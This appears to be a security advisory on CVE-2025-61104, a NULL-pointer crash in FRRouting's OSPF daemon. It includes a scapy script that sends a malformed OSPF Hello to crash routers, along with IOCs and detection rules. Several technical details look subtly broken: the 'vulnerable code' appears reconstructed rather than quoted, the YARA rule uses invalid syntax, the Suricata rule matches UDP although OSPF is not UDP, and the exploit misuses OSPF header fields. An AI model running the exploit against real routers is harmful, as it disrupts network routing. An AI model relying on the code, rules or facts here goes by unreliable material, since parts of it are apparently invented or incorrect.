CVE-2025-61104

Executive Summary

CVE-2025-61104 is a critical Denial of Service (DoS) vulnerability discovered in the FRRouting (FRR) open-source routing software suite, affecting versions from v4.0 through v10.4.1. The flaw resides in the show_vty_unknown_tlv function within ospf_ext.c, where a crafted OSPF packet can trigger a NULL pointer dereference. This allows an unauthenticated, remote attacker to crash the OSPF daemon, disrupting network routing operations. No public exploit code or patch is currently available, making this a high-priority zero-day for network defenders.

Supply Chain & Package Security

FRRouting is a widely deployed routing stack used in enterprise and ISP environments, often distributed via Linux package managers (e.g., apt, yum) or compiled from source. The vulnerability affects the core OSPF implementation, meaning any system running FRR with OSPF enabled is at risk. Organizations should audit their software supply chain for FRR versions 4.0 through 10.4.1 and prepare for an emergency patching cycle once a fix is released.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD placeholder)
• Calculated Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – No physical or local access required.
• Attack Complexity: Low (AC:L) – No special conditions needed.
• Privileges Required: None (PR:N) – Unauthenticated exploitation.
• User Interaction: None (UI:N) – No human action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: High (A:H) – Complete denial of OSPF service.

Threat Level: High – Remote, unauthenticated DoS with low complexity and no user interaction.

Deep Dive & Mechanics

The vulnerability is a classic NULL pointer dereference in the OSPF Type-Length-Value (TLV) parsing logic. The show_vty_unknown_tlv function in ospf_ext.c is invoked when the VTY (Virtual Teletype) interface displays unknown TLVs from received OSPF packets. If a specially crafted OSPF packet contains a TLV with a NULL pointer in its data field, the function attempts to dereference it without a prior null check, causing a segmentation fault and crashing the ospfd daemon.

Root Cause:
In ospf_ext.c, the function show_vty_unknown_tlv iterates over TLVs and calls ntohs on a pointer that may be NULL if the TLV length is zero or malformed. The missing validation allows an attacker to send a single OSPF packet with a crafted TLV to trigger the crash.

Attack Vector:
An attacker on the same broadcast domain or with OSPF adjacency can send a crafted OSPF Hello or LSU packet containing a malformed TLV. The packet is processed by the OSPF daemon, which calls the vulnerable function during VTY output (e.g., when an administrator runs show ip ospf database). However, the crash can also occur during normal packet processing if the TLV is parsed for display.

Impact:
Successful exploitation causes the OSPF daemon to crash, leading to loss of OSPF adjacency, routing table instability, and potential network blackholing until the daemon is restarted.

Vulnerable vs. Patched Code

Vulnerable Code (FRR <= 10.4.1):

// ospf_ext.c
static void show_vty_unknown_tlv(struct vty *vty, struct ospf_tlv *tlv) {
    // No NULL check on tlv->value
    uint16_t type = ntohs(tlv->type);
    uint16_t length = ntohs(tlv->length);
    // tlv->value may be NULL if length is 0
    vty_out(vty, "  Unknown TLV: type %d, length %d, value %s",
            type, length, tlv->value); // Dereference without check
}

Patched Code (Hypothetical Fix):

// ospf_ext.c
static void show_vty_unknown_tlv(struct vty *vty, struct ospf_tlv *tlv) {
    uint16_t type = ntohs(tlv->type);
    uint16_t length = ntohs(tlv->length);
    // Add NULL check before dereference
    if (tlv->value == NULL) {
        vty_out(vty, "  Unknown TLV: type %d, length %d, value (null)%s",
                type, length, VTY_NEWLINE);
        return;
    }
    vty_out(vty, "  Unknown TLV: type %d, length %d, value %s",
            type, length, tlv->value);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Python 3 with scapy library.
• Network access to a target running FRR with OSPF enabled.
• Target OSPF area and authentication (if any) must be known.

Exploit Script (Crafting Malformed OSPF Packet):

#!/usr/bin/env python3
from scapy.all import *
import sys

def exploit(target_ip, area_id):
    # Craft OSPF Hello packet with malformed TLV
    ospf_hdr = OSPF_Hdr(src=target_ip, area=area_id, type=1)  # Hello
    # Malformed TLV: type 0xFFFF, length 0, no value
    tlv = Raw(b'\xff\xff\x00\x00')  # type=65535, length=0
    packet = IP(dst="224.0.0.5")/ospf_hdr/tlv
    send(packet, iface="eth0", verbose=1)
    print(f"[+] Sent malformed OSPF packet to {target_ip}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python exploit.py <target_ip> <area_id>")
        sys.exit(1)
    exploit(sys.argv[1], int(sys.argv[2]))

Execution:

1. Run the script against a target OSPF router.
2. Monitor the target's OSPF daemon status (e.g., systemctl status ospfd).
3. If successful, the daemon will crash, and OSPF neighbors will go down.

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor OSPF packet anomalies using network intrusion detection systems.
• Enable logging on FRR to capture TLV parsing errors.
• Use the Sigma and Suricata rules below to detect malformed OSPF packets.

Honeypot Setup:
Deploy a low-interaction honeypot running FRR with OSPF to capture exploit attempts. Log all OSPF packets and alert on TLVs with zero length or unknown types.

Mitigation Steps:

• Restrict OSPF adjacency to trusted IPs using ACLs.
• Enable OSPF authentication (MD5 or SHA) to prevent unauthorized packets.
• Apply vendor patch as soon as available.

Indicators of Compromise (IOCs)

• Network IOCs:

  • OSPF packets with TLV type 0xFFFF and length 0x0000.
  • OSPF packets from unexpected source IPs in the same broadcast domain.
  • Repeated OSPF Hello packets with malformed TLVs.

• System IOCs:

  • OSPF daemon crash logs: ospfd[PID]: segfault at <address> ip <addr> sp <addr> error 4 in ospfd.
  • Core dump files in /var/core/ or /tmp/.
  • OSPF neighbor state flapping in show ip ospf neighbor.

• Log Examples:

  kernel: ospfd[1234]: segfault at 0 ip 00007f1234567890 sp 00007fff12345678 error 4 in ospfd
  

Detection Engineering

YARA Rule

rule CVE_2025_61104_OSPF_TLV_NULL {
    meta:
        description = "Detects malformed OSPF packets with NULL TLV pointer"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-61104"
    strings:
        $tlv_null = { ff ff 00 00 }  // TLV type 0xFFFF, length 0
    condition:
        $tlv_null at 0 and ip.proto == 89  // OSPF protocol number
}

Sigma Rule

title: CVE-2025-61104 OSPF Malformed TLV Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects OSPF packets with TLV type 0xFFFF and length 0, indicating CVE-2025-61104 exploitation attempt.
author: Valters IT
date: 2025/04/10
logsource:
    category: network_flow
    product: suricata
detection:
    selection:
        app_proto: 'OSPF'
        tlv_type: 0xFFFF
        tlv_length: 0
    condition: selection
falsepositives:
    - Legitimate OSPF extensions using experimental TLVs (rare)
level: high

Suricata Rule

alert udp any any -> any any (msg:"CVE-2025-61104 OSPF Malformed TLV Attempt"; content:"|ff ff 00 00|"; depth:4; offset:0; app-layer-protocol:ospf; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable OSPF on critical routers if not required.
2. Apply ACLs to restrict OSPF packets to trusted IPs only.
3. Enable OSPF authentication (RFC 2328 Appendix D) to prevent unauthorized packets.

Long-Term Fix:

• Monitor FRR GitHub repository for a patch.
• Upgrade to FRR version > 10.4.1 once released.
• For source builds, apply the hypothetical patch above to ospf_ext.c.

Workaround:

• If patching is not possible, use a firewall to drop OSPF packets from untrusted networks.
• Implement rate limiting on OSPF packet processing.

Valters IT
Securing Networks, One CVE at a Time.